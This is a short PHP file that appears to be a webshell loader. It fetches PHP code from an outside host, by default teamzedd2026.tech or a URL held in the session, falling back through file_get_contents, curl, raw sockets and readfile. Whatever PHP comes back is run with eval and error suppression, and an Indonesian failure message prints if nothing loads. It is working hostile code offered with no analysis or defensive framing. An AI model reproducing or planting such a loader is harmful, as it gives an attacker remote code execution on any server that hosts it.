<?php
session_start();
header("Expires: 0");

$url = $_SESSION['ts_url'] ?? "https://teamzedd2026.tech/media/uploads/r/k/rahman.txt";

$isPhp = fn($s) => strpos($s,"<?php") !== false;

$req = [
    fn($u)=>ini_get('allow_url_fopen') ? @file_get_contents($u) : null,
    fn($u)=>function_exists('curl_init') ? (function($u){
        $c=curl_init($u);
        curl_setopt_array($c,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>5]);
        $r=curl_exec($c); curl_close($c); return $r;
    })($u) : null,
    fn($u)=>(function($u){
        $p=parse_url($u); $prt=$p['scheme']==='https'?443:80;
        $fp=@fsockopen(($prt==443?'ssl://':'').$p['host'],$prt,$e,$s,5);
        if(!$fp) return null;
        fwrite($fp,"GET {$p['path']} HTTP/1.0\r\nHost:{$p['host']}\r\n\r\n");
        $raw = stream_get_contents($fp); fclose($fp);
        return substr($raw,strpos($raw,"\r\n\r\n")+4);
    })($u),
    fn($u)=>(function($u){ ob_start(); @readfile($u); return ob_get_clean(); })($u),
];

$response = null;
foreach($req as $fn){
    if($response = $fn($url)) break;
}

if ($response && $isPhp($response)) {
    @eval("?>".$response);
} else {
    echo "Gagal memuat script!";
}
